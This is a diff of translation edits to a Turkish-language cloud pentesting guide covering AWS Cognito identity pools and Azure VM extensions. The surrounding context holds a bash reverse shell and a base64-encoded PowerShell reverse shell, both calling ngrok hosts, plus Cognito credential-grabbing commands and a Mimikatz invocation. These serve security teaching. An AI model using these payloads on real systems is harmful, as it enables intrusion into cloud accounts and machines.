diff --git a/src/images/arte.png b/src/images/arte.png index 57f392dbe..388ff8433 100644 Binary files a/src/images/arte.png and b/src/images/arte.png differ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 505722db2..7351b2c24 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -1,4 +1,4 @@ -# Cognito Kimlik Havuzları +# Cognito Identity Pools {{#include ../../../../banners/hacktricks-training.md}} @@ -9,8 +9,8 @@ Kimlik havuzları, kullanıcılarınızın **geçici kimlik bilgileri edinmesini - Amazon Cognito kullanıcı havuzları - Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal oturum açma seçenekleri - OpenID Connect (OIDC) ile uyumlu sağlayıcılar -- SAML (Güvenlik İddiası İşaretleme Dili) kimlik sağlayıcıları -- Geliştirici kimlik doğrulamalı kimlikler +- SAML (Güvenlik İddası İşaretleme Dili) kimlik sağlayıcıları +- Geliştirici tarafından kimlik doğrulanan kimlikler ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -35,11 +35,11 @@ print(response) ``` ### Cognito Sync -Kimlik Havuzu oturumları oluşturmak için önce **bir Kimlik ID'si oluşturmanız** gerekir. Bu Kimlik ID'si, **o kullanıcının oturumunun tanımlayıcısıdır**. Bu tanımlayıcılar, 1MB'a kadar anahtar-değer çiftlerini depolayabilen 20'ye kadar veri kümesine sahip olabilir. +Kimlik Havuzu oturumları oluşturmak için önce **bir Kimlik ID'si oluşturmanız** gerekir. Bu Kimlik ID'si, **o kullanıcının oturumunun tanımlayıcısıdır**. Bu tanımlayıcılar, 1MB'a kadar anahtar-değer çiftleri depolayabilen 20'ye kadar veri kümesine sahip olabilir. Bu, **bir kullanıcının bilgilerini saklamak için faydalıdır** (her zaman aynı Kimlik ID'sini kullanacak olan). -Ayrıca, **cognito-sync** servisi, **bu bilgileri yönetmek ve senkronize etmek** için kullanılan servistir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi gönderme...). +Ayrıca, **cognito-sync** servisi, bu bilgileri **yönetmek ve senkronize etmek** için kullanılan servistir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi gönderme...). ### Pentesting için Araçlar @@ -59,7 +59,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner), istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir Python CLI aracıdır. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. #### Kurulum ```bash @@ -75,7 +75,7 @@ Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini ko ### Kimlik Doğrulaması Olmadan -Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında **AWS kimlik bilgilerini almak** için bilmesi gereken tek şey **Kimlik Havuzu ID'sidir** ve bu **ID, web/mobil** **uygulamada** kullanılması için sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (bruteforce edilemez). +Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında **AWS kimlik bilgilerini almak** için bilmesi gereken tek şey **Kimlik Havuzu ID'sidir** ve bu **ID, web/mobil** **uygulamada** sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (bruteforce edilemez). > [!TIP] > **IAM Cognito kimlik doğrulaması yapılmamış rolü varsayılan olarak** `Cognito_Unauth_Role` olarak adlandırılır. @@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Gelişmiş vs Temel Kimlik Doğrulama Akışı -Önceki bölüm **varsayılan gelişmiş kimlik doğrulama akışını** takip etti. Bu akış, oluşturulan IAM rolü oturumu için **kısıtlayıcı** [**oturum politikası**](../../aws-basic-information/#session-policies) belirler. Bu politika, oturumun [**bu listedeki hizmetleri kullanmasına**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) izin verecektir (rolün diğer hizmetlere erişimi olsa bile). +Önceki bölüm **varsayılan gelişmiş kimlik doğrulama akışını** takip etti. Bu akış, oluşturulan IAM rolü oturumu için **kısıtlayıcı** [**oturum politikası**](../../aws-basic-information/index.html#session-policies) belirler. Bu politika, oturumun yalnızca [**bu listedeki hizmetleri kullanmasına**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) izin verecektir (rolün diğer hizmetlere erişimi olsa bile). -Ancak, eğer **Kimlik havuzu "Temel (Klasik) Akış" etkinse**, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu **kısıtlayıcı oturum politikası** olmayacaktır. +Ancak, bunu aşmanın bir yolu vardır; eğer **Kimlik havuzu "Temel (Klasik) Akış" etkinse**, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu **kısıtlayıcı oturum politikası** olmayacaktır. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -131,16 +131,16 @@ aws cognito-identity get-open-id-token --identity-id --no-sign aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` > [!WARNING] -> Eğer bu **hata** ile karşılaşırsanız, bunun nedeni **temel akışın etkin olmamasıdır (varsayılan)** +> Eğer bu **hata** mesajını alıyorsanız, bunun nedeni **temel akışın etkin olmamasıdır (varsayılan)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Bir dizi IAM kimlik bilgisine sahip olduğunuzda, [hangi erişime sahip olduğunuzu kontrol edin](../../#whoami) ve [yetkileri yükseltmeye çalışın](../../aws-privilege-escalation/). +Bir dizi IAM kimlik bilgisine sahip olduğunuzda, [hangi erişime sahip olduğunuzu kontrol edin](../../index.html#whoami) ve [yetkileri yükseltmeye çalışın](../../aws-privilege-escalation/index.html). ### Kimlik Doğrulanmış > [!NOTE] -> **Kimlik doğrulanmış kullanıcıların** muhtemelen **farklı izinler** alacağını unutmayın, bu nedenle eğer **uygulama içinde kaydolabiliyorsanız**, bunu deneyin ve yeni kimlik bilgilerini alın. +> **Kimlik doğrulanmış kullanıcıların** muhtemelen **farklı izinler** alacağını unutmayın, bu nedenle eğer **uygulama içinde kaydolabiliyorsanız**, bunu yapmayı deneyin ve yeni kimlik bilgilerini alın. **Kimlik Havuzuna** erişen **kimlik doğrulanmış kullanıcılar** için de **roller** mevcut olabilir. @@ -149,27 +149,27 @@ Bunun için **kimlik sağlayıcısına** erişiminiz olması gerekebilir. Eğer > [!TIP] > **IAM Cognito kimlik doğrulanmış rolü varsayılan olarak** `Cognito_Auth_Role` olarak adlandırılır. -Her durumda, **aşağıdaki örnek**, **Kimlik Havuzuna** erişmek için kullanılan bir **Cognito Kullanıcı Havuzu** içinde zaten giriş yaptığınızı varsayıyor (diğer kimlik sağlayıcı türlerinin de yapılandırılabileceğini unutmayın). +Her durumda, **aşağıdaki örnek**, **Kimlik Havuzuna** erişmek için kullanılan bir **Cognito Kullanıcı Havuzu** içinde zaten oturum açmış olduğunuzu varsayıyor (diğer kimlik sağlayıcı türlerinin de yapılandırılabileceğini unutmayın).
aws cognito-identity get-id \
---identity-pool-id <identity_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
 
 # Önceki komut yanıtından identity_id'yi alın
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
 
 
-# IdToken içinde, bir kullanıcının Kullanıcı Havuzu Grupları nedeniyle erişebileceği rolleri bulabilirsiniz
-# Belirli bir role kimlik bilgilerini almak için --custom-role-arn kullanın
+# IdToken'da bir kullanıcının Kullanıcı Havuzu Grupları nedeniyle erişebileceği roller bulunabilir
+# Belirli bir role erişim almak için --custom-role-arn kullanın
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
-    --custom-role-arn <role_arn> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+    --custom-role-arn  \
+    --logins cognito-idp..amazonaws.com/=
 
> [!WARNING] -> Kullanıcının giriş yaptığı kimlik sağlayıcısına veya sadece **kullanıcıya** bağlı olarak **farklı IAM rollerinin yapılandırılması mümkündür** (claim'leri kullanarak). Bu nedenle, eğer aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, **giriş yapmanın ve hepsinin IAM rollerine erişmenin** değeri olabilir. +> Kullanıcının oturum açtığı kimlik sağlayıcısına veya sadece **kullanıcıya** (iddialar kullanarak) bağlı olarak **farklı IAM rollerini yapılandırmak mümkündür**. Bu nedenle, aynı veya farklı sağlayıcılar aracılığıyla farklı kullanıcılara erişiminiz varsa, **oturum açmak ve onların tüm IAM rollerine erişmek** faydalı olabilir. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 978853dc4..777603974 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -4,7 +4,7 @@ ## Azure Ağ Temel Bilgileri -Azure ağları **farklı varlıklar ve bunları yapılandırma yolları** içerir. Farklı Azure ağ varlıklarının **kısa açıklamaları,** **örnekleri** ve **numaralandırma** komutlarını şurada bulabilirsiniz: +Azure ağları **farklı varlıklar ve yapılandırma yolları** içerir. Farklı Azure ağ varlıklarının **kısa açıklamaları,** **örnekleri** ve **numaralandırma** komutlarını bulabilirsiniz: {{#ref}} az-azure-network.md @@ -20,7 +20,7 @@ Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çal - **Güvenlik Türü**: - **Standart Güvenlik**: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan güvenlik türüdür. - **Güvenilir Başlatma**: Bu güvenlik türü, Secure Boot ve Sanal Güvenilir Platform Modülü (vTPM) kullanarak önyükleme kitleri ve çekirdek düzeyindeki kötü amaçlı yazılımlara karşı korumayı artırır. -- **Gizli VM'ler**: Güvenilir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve [**daha fazlası**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** +- **Gizli VM'ler**: Güvenilir bir başlatmanın üzerine, VM, hipervizör ve ana yönetim arasında donanım tabanlı izolasyon sunar, disk şifrelemesini geliştirir ve [**daha fazlası**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Kimlik Doğrulama**: Varsayılan olarak yeni bir **SSH anahtarı oluşturulur**, ancak bir genel anahtar kullanmak veya önceki bir anahtarı kullanmak mümkündür ve varsayılan kullanıcı adı **azureuser**'dır. Ayrıca bir **şifre** kullanacak şekilde yapılandırmak da mümkündür. - **VM disk şifrelemesi:** Disk, varsayılan olarak platform yönetimli bir anahtar kullanılarak dinlenme durumunda şifrelenir. - **Ana bilgisayarda Şifreleme**'yi etkinleştirmek de mümkündür; burada veriler, depolama hizmetine gönderilmeden önce ana bilgisayarda şifrelenir ve ana bilgisayar ile depolama hizmeti arasında uçtan uca şifreleme sağlanır ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). @@ -32,16 +32,16 @@ Azure Sanal Makineleri (VM'ler), **Windows veya Linux işletim sistemlerini çal - **Yamanın orkestrasyon seçenekleri**: Bu, seçilen politikaya göre VM'lerde yamaların otomatik olarak uygulanmasını sağlar, [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) olarak açıklanmıştır. - **Uyarılar**: VM'de bir şey olduğunda otomatik olarak e-posta veya mobil uygulama ile uyarı almak mümkündür. Varsayılan kurallar: - CPU Yüzdesi %80'den büyük -- Kullanılabilir Bellek Baytları 1GB'den az -- Veri Diskleri IOPS Tüketilen Yüzde %95'ten büyük -- OS IOPS Tüketilen Yüzde %95'ten büyük -- Toplam Ağ 500GB'den büyük -- Toplam Ağ Çıkışı 200GB'den büyük +- Kullanılabilir Bellek Baytları 1GB'dan az +- Veri Diskleri IOPS Tüketilen Yüzdesi %95'ten büyük +- OS IOPS Tüketilen Yüzdesi %95'ten büyük +- Toplam Ağ 500GB'dan büyük +- Toplam Ağ Çıkışı 200GB'dan büyük - VmAvailabilityMetric 1'den az - **Sağlık monitörü**: Varsayılan olarak port 80'de HTTP protokolünü kontrol eder - **Kilitlemeler**: Bir VM'yi yalnızca okunabilir (**ReadOnly** kilidi) veya okunabilir ve güncellenebilir ancak silinemez (**CanNotDelete** kilidi) hale getirmek için kilitleme sağlar. -- Çoğu VM ile ilgili kaynak **aynı zamanda kilitleri destekler**; diskler, anlık görüntüler... -- Kilitler **kaynak grubu ve abonelik seviyelerinde** de uygulanabilir. +- Çoğu VM ile ilgili kaynak **aynı zamanda kilitlemeleri destekler**; diskler, anlık görüntüler... +- Kilitlemeler **kaynak grubu ve abonelik seviyelerinde** de uygulanabilir. ## Diskler & anlık görüntüler @@ -79,7 +79,7 @@ Get-AzDisk -Name -ResourceGroupName Bir **VM görüntüsü**, **yeni bir sanal makine (VM)** oluşturmak için gereken işletim sistemi, uygulama ayarları ve dosya sistemini içeren bir şablondur. Bir görüntü ile bir disk anlık görüntüsü arasındaki fark, bir disk anlık görüntüsünün yalnızca yedekleme veya sorun giderme amacıyla kullanılan, tek bir yönetilen diskin okunamayan, belirli bir zamandaki kopyası olmasıdır; oysa bir görüntü **birden fazla diski içerebilir ve yeni VMs oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır**.\ Görüntüler, Azure'un **Görüntüler bölümünde** veya **Azure hesap galerileri** içinde yönetilebilir; bu, **sürümler** oluşturmayı ve görüntüyü tenantlar arası paylaşmayı veya hatta herkese açık hale getirmeyi sağlar. -Bir **geri yükleme noktası**, VM yapılandırmasını ve VM'ye bağlı olan **tüm yönetilen disklerin** **belirli bir zamandaki** uygulama tutarlı anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi belirli bir zamandaki durumuna geri yükleyebilmektir. +Bir **geri yükleme noktası**, VM yapılandırmasını ve VM'ye bağlı olan **tüm yönetilen disklerin** **belirli bir zamandaki** uygulama tutarlı anlık görüntülerini saklar. Bu, VM ile ilişkilidir ve amacı, o VM'yi o belirli zamandaki durumuna geri yükleyebilmektir. {{#tabs}} {{#tab name="az cli"}} @@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName ### VM Uzantıları -Azure VM uzantıları, Azure sanal makinelerinde (VM'ler) **dağıtım sonrası yapılandırma** ve otomasyon görevleri sağlayan küçük uygulamalardır. +Azure VM uzantıları, Azure sanal makinelerinde (VM'lerde) **dağıtım sonrası yapılandırma** ve otomasyon görevleri sağlayan küçük uygulamalardır. Bu, **VM'ler içinde rastgele kod çalıştırmayı** mümkün kılar. @@ -462,7 +462,7 @@ Get-AzVMExtensionImage -Location -PublisherName -Type {{#tabs }} {{#tab name="Linux" }} -- Bir ters kabuk çalıştırın +- Ters shell çalıştırın ```bash # Prepare the rev shell echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64 @@ -509,7 +509,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Dosyadan ters kabuk çalıştırın +- Dosyadan ters shell çalıştırın ```bash az vm extension set \ --resource-group \ @@ -603,7 +603,7 @@ Set-AzVMDscExtension ` Hibrit Runbook Çalışanı -Bu, otomasyon hesabından VMs'de runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-automation-account/index.html) bakın. +Bu, bir otomasyon hesabından VMs'de runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-automation-account/index.html) bakın. @@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt ``` ### **Komut Çalıştır** -Bu, Azure'un **VM'lerde rastgele komutlar çalıştırmak için** sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`'dır. +Bu, Azure'un **VM'lerde rastgele komutlar çalıştırmak için** sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`. {{#tabs }} {{#tab name="Linux" }} @@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## Kimlik Doğrulaması Olmadan Erişim {{#ref}} -../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} ## Sonrası İstismar